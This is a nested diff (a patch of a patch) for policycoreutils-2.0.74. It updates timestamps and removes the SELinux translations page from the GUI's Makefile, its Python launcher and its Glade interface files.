-+++ policycoreutils-2.0.74/gui/Makefile	2009-09-20 21:26:37.000000000 -0400
-@@ -0,0 +1,41 @@
++++ policycoreutils-2.0.74/gui/Makefile	2009-10-15 10:50:59.000000000 -0400
+@@ -0,0 +1,40 @@
 +# Installation directories.
 +PREFIX ?= ${DESTDIR}/usr
 +BINDIR ?= $(PREFIX)/bin
@@ -2186,7 +2186,6 @@ diff --exclude-from=exclude -N -u -r nsa
 +semanagePage.py \
 +statusPage.py \
 +system-config-selinux.glade \
-+translationsPage.py \
 +usersPage.py \
 +selinux.tbl
 +
@@ -2210,7 +2209,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +relabel:
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/mappingsPage.py policycoreutils-2.0.74/gui/mappingsPage.py
 --- nsapolicycoreutils/gui/mappingsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/mappingsPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/mappingsPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,56 @@
 +## mappingsPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -2270,7 +2269,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/modulesPage.py policycoreutils-2.0.74/gui/modulesPage.py
 --- nsapolicycoreutils/gui/modulesPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/modulesPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/modulesPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,190 @@
 +## modulesPage.py - show selinux mappings
 +## Copyright (C) 2006-2009 Red Hat, Inc.
@@ -2464,7 +2463,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +            self.error(e.args[0])
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.glade policycoreutils-2.0.74/gui/polgen.glade
 --- nsapolicycoreutils/gui/polgen.glade	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/polgen.glade	2009-09-28 09:14:14.000000000 -0400
++++ policycoreutils-2.0.74/gui/polgen.glade	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,3305 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
@@ -5773,7 +5772,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +</glade-interface>
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.gladep policycoreutils-2.0.74/gui/polgen.gladep
 --- nsapolicycoreutils/gui/polgen.gladep	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/polgen.gladep	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/polgen.gladep	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,7 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-project SYSTEM "http://glade.gnome.org/glade-project-2.0.dtd">
@@ -5784,7 +5783,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +</glade-project>
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgengui.py policycoreutils-2.0.74/gui/polgengui.py
 --- nsapolicycoreutils/gui/polgengui.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/polgengui.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/polgengui.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,627 @@
 +#!/usr/bin/python -E
 +#
@@ -6415,7 +6414,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +    app.stand_alone()
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/polgen.py policycoreutils-2.0.74/gui/polgen.py
 --- nsapolicycoreutils/gui/polgen.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/polgen.py	2009-10-01 11:36:54.000000000 -0400
++++ policycoreutils-2.0.74/gui/polgen.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,1188 @@
 +#!/usr/bin/python
 +#
@@ -7607,7 +7606,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +    sys.exit(0)
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/portsPage.py policycoreutils-2.0.74/gui/portsPage.py
 --- nsapolicycoreutils/gui/portsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/portsPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/portsPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,259 @@
 +## portsPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -7870,7 +7869,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +        
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/selinux.tbl policycoreutils-2.0.74/gui/selinux.tbl
 --- nsapolicycoreutils/gui/selinux.tbl	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/selinux.tbl	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/selinux.tbl	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,234 @@
 +acct_disable_trans _("SELinux Service Protection") _("Disable SELinux protection for acct daemon")
 +allow_daemons_dump_core _("Admin") _("Allow all daemons to write corefiles to /")
@@ -8108,7 +8107,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/semanagePage.py policycoreutils-2.0.74/gui/semanagePage.py
 --- nsapolicycoreutils/gui/semanagePage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/semanagePage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/semanagePage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,168 @@
 +## semanagePage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -8280,7 +8279,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +        
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/statusPage.py policycoreutils-2.0.74/gui/statusPage.py
 --- nsapolicycoreutils/gui/statusPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/statusPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/statusPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,190 @@
 +# statusPage.py - show selinux status
 +## Copyright (C) 2006-2009 Red Hat, Inc.
@@ -8474,8 +8473,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.glade policycoreutils-2.0.74/gui/system-config-selinux.glade
 --- nsapolicycoreutils/gui/system-config-selinux.glade	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/system-config-selinux.glade	2009-09-20 21:26:37.000000000 -0400
-@@ -0,0 +1,3403 @@
++++ policycoreutils-2.0.74/gui/system-config-selinux.glade	2009-10-15 10:42:01.000000000 -0400
+@@ -0,0 +1,3025 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
 +
@@ -9018,198 +9017,6 @@ diff --exclude-from=exclude -N -u -r nsa
 +  </child>
 +</widget>
 +
-+<widget class="GtkDialog" id="translationsDialog">
-+  <property name="title" translatable="yes">Add SELinux Login Mapping</property>
-+  <property name="type">GTK_WINDOW_TOPLEVEL</property>
-+  <property name="window_position">GTK_WIN_POS_NONE</property>
-+  <property name="modal">False</property>
-+  <property name="resizable">True</property>
-+  <property name="destroy_with_parent">False</property>
-+  <property name="decorated">True</property>
-+  <property name="skip_taskbar_hint">False</property>
-+  <property name="skip_pager_hint">False</property>
-+  <property name="type_hint">GDK_WINDOW_TYPE_HINT_DIALOG</property>
-+  <property name="gravity">GDK_GRAVITY_NORTH_WEST</property>
-+  <property name="focus_on_map">True</property>
-+  <property name="urgency_hint">False</property>
-+  <property name="has_separator">True</property>
-+
-+  <child internal-child="vbox">
-+    <widget class="GtkVBox" id="vbox5">
-+      <property name="visible">True</property>
-+      <property name="homogeneous">False</property>
-+      <property name="spacing">0</property>
-+
-+      <child internal-child="action_area">
-+	<widget class="GtkHButtonBox" id="hbuttonbox2">
-+	  <property name="visible">True</property>
-+	  <property name="layout_style">GTK_BUTTONBOX_END</property>
-+
-+	  <child>
-+	    <widget class="GtkButton" id="button3">
-+	      <property name="visible">True</property>
-+	      <property name="can_default">True</property>
-+	      <property name="can_focus">True</property>
-+	      <property name="label">gtk-cancel</property>
-+	      <property name="use_stock">True</property>
-+	      <property name="relief">GTK_RELIEF_NORMAL</property>
-+	      <property name="focus_on_click">True</property>
-+	      <property name="response_id">-6</property>
-+	    </widget>
-+	  </child>
-+
-+	  <child>
-+	    <widget class="GtkButton" id="button4">
-+	      <property name="visible">True</property>
-+	      <property name="can_default">True</property>
-+	      <property name="can_focus">True</property>
-+	      <property name="label">gtk-ok</property>
-+	      <property name="use_stock">True</property>
-+	      <property name="relief">GTK_RELIEF_NORMAL</property>
-+	      <property name="focus_on_click">True</property>
-+	      <property name="response_id">-5</property>
-+	    </widget>
-+	  </child>
-+	</widget>
-+	<packing>
-+	  <property name="padding">0</property>
-+	  <property name="expand">False</property>
-+	  <property name="fill">True</property>
-+	  <property name="pack_type">GTK_PACK_END</property>
-+	</packing>
-+      </child>
-+
-+      <child>
-+	<widget class="GtkVBox" id="vbox6">
-+	  <property name="visible">True</property>
-+	  <property name="homogeneous">False</property>
-+	  <property name="spacing">0</property>
-+
-+	  <child>
-+	    <widget class="GtkTable" id="table3">
-+	      <property name="visible">True</property>
-+	      <property name="n_rows">2</property>
-+	      <property name="n_columns">2</property>
-+	      <property name="homogeneous">False</property>
-+	      <property name="row_spacing">4</property>
-+	      <property name="column_spacing">6</property>
-+
-+	      <child>
-+		<widget class="GtkLabel" id="label22">
-+		  <property name="visible">True</property>
-+		  <property name="label" translatable="yes">SELinux MLS/MCS
-+Level</property>
-+		  <property name="use_underline">False</property>
-+		  <property name="use_markup">False</property>
-+		  <property name="justify">GTK_JUSTIFY_LEFT</property>
-+		  <property name="wrap">False</property>
-+		  <property name="selectable">False</property>
-+		  <property name="xalign">0</property>
-+		  <property name="yalign">0.5</property>
-+		  <property name="xpad">0</property>
-+		  <property name="ypad">0</property>
-+		  <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
-+		  <property name="width_chars">-1</property>
-+		  <property name="single_line_mode">False</property>
-+		  <property name="angle">0</property>
-+		</widget>
-+		<packing>
-+		  <property name="left_attach">0</property>
-+		  <property name="right_attach">1</property>
-+		  <property name="top_attach">0</property>
-+		  <property name="bottom_attach">1</property>
-+		  <property name="x_options">fill</property>
-+		  <property name="y_options"></property>
-+		</packing>
-+	      </child>
-+
-+	      <child>
-+		<widget class="GtkLabel" id="label24">
-+		  <property name="visible">True</property>
-+		  <property name="label" translatable="yes">Translation</property>
-+		  <property name="use_underline">False</property>
-+		  <property name="use_markup">False</property>
-+		  <property name="justify">GTK_JUSTIFY_LEFT</property>
-+		  <property name="wrap">False</property>
-+		  <property name="selectable">False</property>
-+		  <property name="xalign">0</property>
-+		  <property name="yalign">0.5</property>
-+		  <property name="xpad">0</property>
-+		  <property name="ypad">0</property>
-+		  <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
-+		  <property name="width_chars">-1</property>
-+		  <property name="single_line_mode">False</property>
-+		  <property name="angle">0</property>
-+		</widget>
-+		<packing>
-+		  <property name="left_attach">0</property>
-+		  <property name="right_attach">1</property>
-+		  <property name="top_attach">1</property>
-+		  <property name="bottom_attach">2</property>
-+		  <property name="x_options">fill</property>
-+		  <property name="y_options"></property>
-+		</packing>
-+	      </child>
-+
-+	      <child>
-+		<widget class="GtkEntry" id="translationsLevelEntry">
-+		  <property name="visible">True</property>
-+		  <property name="can_focus">True</property>
-+		  <property name="editable">True</property>
-+		  <property name="visibility">True</property>
-+		  <property name="max_length">0</property>
-+		  <property name="text" translatable="yes"></property>
-+		  <property name="has_frame">True</property>
-+		  <property name="invisible_char">*</property>
-+		  <property name="activates_default">False</property>
-+		</widget>
-+		<packing>
-+		  <property name="left_attach">1</property>
-+		  <property name="right_attach">2</property>
-+		  <property name="top_attach">0</property>
-+		  <property name="bottom_attach">1</property>
-+		  <property name="y_options"></property>
-+		</packing>
-+	      </child>
-+
-+	      <child>
-+		<widget class="GtkEntry" id="translationsEntry">
-+		  <property name="visible">True</property>
-+		  <property name="can_focus">True</property>
-+		  <property name="editable">True</property>
-+		  <property name="visibility">True</property>
-+		  <property name="max_length">0</property>
-+		  <property name="text" translatable="yes"></property>
-+		  <property name="has_frame">True</property>
-+		  <property name="invisible_char">*</property>
-+		  <property name="activates_default">False</property>
-+		</widget>
-+		<packing>
-+		  <property name="left_attach">1</property>
-+		  <property name="right_attach">2</property>
-+		  <property name="top_attach">1</property>
-+		  <property name="bottom_attach">2</property>
-+		  <property name="y_options"></property>
-+		</packing>
-+	      </child>
-+	    </widget>
-+	    <packing>
-+	      <property name="padding">5</property>
-+	      <property name="expand">True</property>
-+	      <property name="fill">True</property>
-+	    </packing>
-+	  </child>
-+	</widget>
-+	<packing>
-+	  <property name="padding">0</property>
-+	  <property name="expand">True</property>
-+	  <property name="fill">True</property>
-+	</packing>
-+      </child>
-+    </widget>
-+  </child>
-+</widget>
-+
 +<widget class="GtkDialog" id="fcontextDialog">
 +  <property name="title" translatable="yes">Add SELinux Login Mapping</property>
 +  <property name="type">GTK_WINDOW_TOPLEVEL</property>
@@ -9970,7 +9777,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +	  <child>
 +	    <widget class="GtkNotebook" id="notebook">
 +	      <property name="visible">True</property>
-+	      <property name="show_tabs">False</property>
++	      <property name="can_focus">True</property>
++	      <property name="show_tabs">True</property>
 +	      <property name="show_border">True</property>
 +	      <property name="tab_pos">GTK_POS_TOP</property>
 +	      <property name="scrollable">False</property>
@@ -11020,193 +10828,6 @@ diff --exclude-from=exclude -N -u -r nsa
 +	      </child>
 +
 +	      <child>
-+		<widget class="GtkVBox" id="vbox13">
-+		  <property name="visible">True</property>
-+		  <property name="homogeneous">False</property>
-+		  <property name="spacing">0</property>
-+
-+		  <child>
-+		    <widget class="GtkToolbar" id="toolbar4">
-+		      <property name="visible">True</property>
-+		      <property name="orientation">GTK_ORIENTATION_HORIZONTAL</property>
-+		      <property name="toolbar_style">GTK_TOOLBAR_BOTH</property>
-+		      <property name="tooltips">True</property>
-+		      <property name="show_arrow">True</property>
-+
-+		      <child>
-+			<widget class="GtkToolButton" id="toolbutton11">
-+			  <property name="visible">True</property>
-+			  <property name="tooltip" translatable="yes">Add Translation</property>
-+			  <property name="stock_id">gtk-add</property>
-+			  <property name="visible_horizontal">True</property>
-+			  <property name="visible_vertical">True</property>
-+			  <property name="is_important">False</property>
-+			  <signal name="clicked" handler="on_add_clicked" last_modification_time="Mon, 16 Jan 2006 18:27:03 GMT"/>
-+			</widget>
-+			<packing>
-+			  <property name="expand">False</property>
-+			  <property name="homogeneous">True</property>
-+			</packing>
-+		      </child>
-+
-+		      <child>
-+			<widget class="GtkToolButton" id="toolbutton12">
-+			  <property name="visible">True</property>
-+			  <property name="tooltip" translatable="yes">Modify Translation</property>
-+			  <property name="stock_id">gtk-properties</property>
-+			  <property name="visible_horizontal">True</property>
-+			  <property name="visible_vertical">True</property>
-+			  <property name="is_important">False</property>
-+			  <signal name="clicked" handler="on_properties_clicked" last_modification_time="Mon, 16 Jan 2006 18:26:51 GMT"/>
-+			</widget>
-+			<packing>
-+			  <property name="expand">False</property>
-+			  <property name="homogeneous">True</property>
-+			</packing>
-+		      </child>
-+
-+		      <child>
-+			<widget class="GtkToolButton" id="toolbutton13">
-+			  <property name="visible">True</property>
-+			  <property name="tooltip" translatable="yes">Delete Translation</property>
-+			  <property name="stock_id">gtk-delete</property>
-+			  <property name="visible_horizontal">True</property>
-+			  <property name="visible_vertical">True</property>
-+			  <property name="is_important">False</property>
-+			  <signal name="clicked" handler="on_delete_clicked" last_modification_time="Mon, 16 Jan 2006 18:26:29 GMT"/>
-+			</widget>
-+			<packing>
-+			  <property name="expand">False</property>
-+			  <property name="homogeneous">True</property>
-+			</packing>
-+		      </child>
-+		    </widget>
-+		    <packing>
-+		      <property name="padding">0</property>
-+		      <property name="expand">False</property>
-+		      <property name="fill">False</property>
-+		    </packing>
-+		  </child>
-+
-+		  <child>
-+		    <widget class="GtkHBox" id="hbox10">
-+		      <property name="visible">True</property>
-+		      <property name="homogeneous">False</property>
-+		      <property name="spacing">0</property>
-+
-+		      <child>
-+			<widget class="GtkLabel" id="label54">
-+			  <property name="visible">True</property>
-+			  <property name="label" translatable="yes">Filter</property>
-+			  <property name="use_underline">False</property>
-+			  <property name="use_markup">False</property>
-+			  <property name="justify">GTK_JUSTIFY_LEFT</property>
-+			  <property name="wrap">False</property>
-+			  <property name="selectable">False</property>
-+			  <property name="xalign">0.5</property>
-+			  <property name="yalign">0.5</property>
-+			  <property name="xpad">0</property>
-+			  <property name="ypad">0</property>
-+			  <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
-+			  <property name="width_chars">-1</property>
-+			  <property name="single_line_mode">False</property>
-+			  <property name="angle">0</property>
-+			</widget>
-+			<packing>
-+			  <property name="padding">10</property>
-+			  <property name="expand">False</property>
-+			  <property name="fill">False</property>
-+			</packing>
-+		      </child>
-+
-+		      <child>
-+			<widget class="GtkEntry" id="translationsFilterEntry">
-+			  <property name="visible">True</property>
-+			  <property name="can_focus">True</property>
-+			  <property name="editable">True</property>
-+			  <property name="visibility">True</property>
-+			  <property name="max_length">0</property>
-+			  <property name="text" translatable="yes"></property>
-+			  <property name="has_frame">True</property>
-+			  <property name="invisible_char">?</property>
-+			  <property name="activates_default">False</property>
-+			  <signal name="changed" handler="on_booleansFilter_changed" last_modification_time="Fri, 06 Apr 2007 12:39:26 GMT"/>
-+			</widget>
-+			<packing>
-+			  <property name="padding">0</property>
-+			  <property name="expand">True</property>
-+			  <property name="fill">True</property>
-+			</packing>
-+		      </child>
-+		    </widget>
-+		    <packing>
-+		      <property name="padding">5</property>
-+		      <property name="expand">False</property>
-+		      <property name="fill">True</property>
-+		    </packing>
-+		  </child>
-+
-+		  <child>
-+		    <widget class="GtkScrolledWindow" id="scrolledwindow12">
-+		      <property name="visible">True</property>
-+		      <property name="can_focus">True</property>
-+		      <property name="hscrollbar_policy">GTK_POLICY_ALWAYS</property>
-+		      <property name="vscrollbar_policy">GTK_POLICY_ALWAYS</property>
-+		      <property name="shadow_type">GTK_SHADOW_NONE</property>
-+		      <property name="window_placement">GTK_CORNER_TOP_LEFT</property>
-+
-+		      <child>
-+			<widget class="GtkTreeView" id="translationsView">
-+			  <property name="visible">True</property>
-+			  <property name="tooltip" translatable="yes">Translation</property>
-+			  <property name="can_focus">True</property>
-+			  <property name="headers_visible">True</property>
-+			  <property name="rules_hint">False</property>
-+			  <property name="reorderable">False</property>
-+			  <property name="enable_search">True</property>
-+			  <property name="fixed_height_mode">False</property>
-+			  <property name="hover_selection">False</property>
-+			  <property name="hover_expand">False</property>
-+			</widget>
-+		      </child>
-+		    </widget>
-+		    <packing>
-+		      <property name="padding">0</property>
-+		      <property name="expand">True</property>
-+		      <property name="fill">True</property>
-+		    </packing>
-+		  </child>
-+		</widget>
-+		<packing>
-+		  <property name="tab_expand">False</property>
-+		  <property name="tab_fill">True</property>
-+		</packing>
-+	      </child>
-+
-+	      <child>
-+		<widget class="GtkLabel" id="label40">
-+		  <property name="visible">True</property>
-+		  <property name="label" translatable="yes">label40</property>
-+		  <property name="use_underline">False</property>
-+		  <property name="use_markup">False</property>
-+		  <property name="justify">GTK_JUSTIFY_LEFT</property>
-+		  <property name="wrap">False</property>
-+		  <property name="selectable">False</property>
-+		  <property name="xalign">0.5</property>
-+		  <property name="yalign">0.5</property>
-+		  <property name="xpad">0</property>
-+		  <property name="ypad">0</property>
-+		  <property name="ellipsize">PANGO_ELLIPSIZE_NONE</property>
-+		  <property name="width_chars">-1</property>
-+		  <property name="single_line_mode">False</property>
-+		  <property name="angle">0</property>
-+		</widget>
-+		<packing>
-+		  <property name="type">tab</property>
-+		</packing>
-+	      </child>
-+
-+	      <child>
 +		<widget class="GtkVBox" id="vbox15">
 +		  <property name="visible">True</property>
 +		  <property name="homogeneous">False</property>
@@ -11879,10 +11500,21 @@ diff --exclude-from=exclude -N -u -r nsa
 +</widget>
 +
 +</glade-interface>
+diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.gladep policycoreutils-2.0.74/gui/system-config-selinux.gladep
+--- nsapolicycoreutils/gui/system-config-selinux.gladep	1969-12-31 19:00:00.000000000 -0500
++++ policycoreutils-2.0.74/gui/system-config-selinux.gladep	2009-10-15 10:42:01.000000000 -0400
+@@ -0,0 +1,7 @@
++<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
++<!DOCTYPE glade-project SYSTEM "http://glade.gnome.org/glade-project-2.0.dtd">
++
++<glade-project>
++  <name></name>
++  <program_name></program_name>
++</glade-project>
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/system-config-selinux.py policycoreutils-2.0.74/gui/system-config-selinux.py
 --- nsapolicycoreutils/gui/system-config-selinux.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/system-config-selinux.py	2009-09-20 21:26:37.000000000 -0400
-@@ -0,0 +1,189 @@
++++ policycoreutils-2.0.74/gui/system-config-selinux.py	2009-10-15 10:38:12.000000000 -0400
+@@ -0,0 +1,187 @@
 +#!/usr/bin/python
 +#
 +# system-config-selinux.py - GUI for SELinux Config tool in system-config-selinux
@@ -11921,7 +11553,6 @@ diff --exclude-from=exclude -N -u -r nsa
 +import modulesPage
 +import domainsPage
 +import fcontextPage
-+import translationsPage
 +import selinux
 +##
 +## I18N
@@ -11972,7 +11603,6 @@ diff --exclude-from=exclude -N -u -r nsa
 +                self.add_page(fcontextPage.fcontextPage(xml))
 +                self.add_page(loginsPage.loginsPage(xml))
 +                self.add_page(usersPage.usersPage(xml))
-+                self.add_page(translationsPage.translationsPage(xml))
 +                self.add_page(portsPage.portsPage(xml))
 +                self.add_page(modulesPage.modulesPage(xml)) # modules
 +                self.add_page(domainsPage.domainsPage(xml)) # domains
@@ -12074,7 +11704,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +    app.stand_alone()
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/boolean.py policycoreutils-2.0.74/gui/templates/boolean.py
 --- nsapolicycoreutils/gui/templates/boolean.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/boolean.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/boolean.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,40 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12118,7 +11748,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/etc_rw.py policycoreutils-2.0.74/gui/templates/etc_rw.py
 --- nsapolicycoreutils/gui/templates/etc_rw.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/etc_rw.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/etc_rw.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,129 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12251,7 +11881,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/executable.py policycoreutils-2.0.74/gui/templates/executable.py
 --- nsapolicycoreutils/gui/templates/executable.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/executable.py	2009-10-02 08:46:53.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/executable.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,359 @@
 +# Copyright (C) 2007-2009 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12614,7 +12244,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/__init__.py policycoreutils-2.0.74/gui/templates/__init__.py
 --- nsapolicycoreutils/gui/templates/__init__.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/__init__.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/__init__.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,18 @@
 +#
 +# Copyright (C) 2007 Red Hat, Inc.
@@ -12636,7 +12266,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/network.py policycoreutils-2.0.74/gui/templates/network.py
 --- nsapolicycoreutils/gui/templates/network.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/network.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/network.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,80 @@
 +te_port_types="""
 +type TEMPLATETYPE_port_t;
@@ -12720,7 +12350,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/rw.py policycoreutils-2.0.74/gui/templates/rw.py
 --- nsapolicycoreutils/gui/templates/rw.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/rw.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/rw.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,127 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12851,7 +12481,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/script.py policycoreutils-2.0.74/gui/templates/script.py
 --- nsapolicycoreutils/gui/templates/script.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/script.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/script.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,99 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12954,7 +12584,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/semodule.py policycoreutils-2.0.74/gui/templates/semodule.py
 --- nsapolicycoreutils/gui/templates/semodule.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/semodule.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/semodule.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,41 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -12999,7 +12629,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/tmp.py policycoreutils-2.0.74/gui/templates/tmp.py
 --- nsapolicycoreutils/gui/templates/tmp.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/tmp.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/tmp.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,97 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13100,7 +12730,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/user.py policycoreutils-2.0.74/gui/templates/user.py
 --- nsapolicycoreutils/gui/templates/user.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/user.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/user.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,182 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13286,7 +12916,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/var_lib.py policycoreutils-2.0.74/gui/templates/var_lib.py
 --- nsapolicycoreutils/gui/templates/var_lib.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/templates/var_lib.py	2009-10-01 12:03:05.000000000 -0400
++++ policycoreutils-2.0.74/gui/templates/var_lib.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,158 @@
 +# Copyright (C) 2007 Red Hat 
 +# see file 'COPYING' for use and warranty information
@@ -13448,7 +13078,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
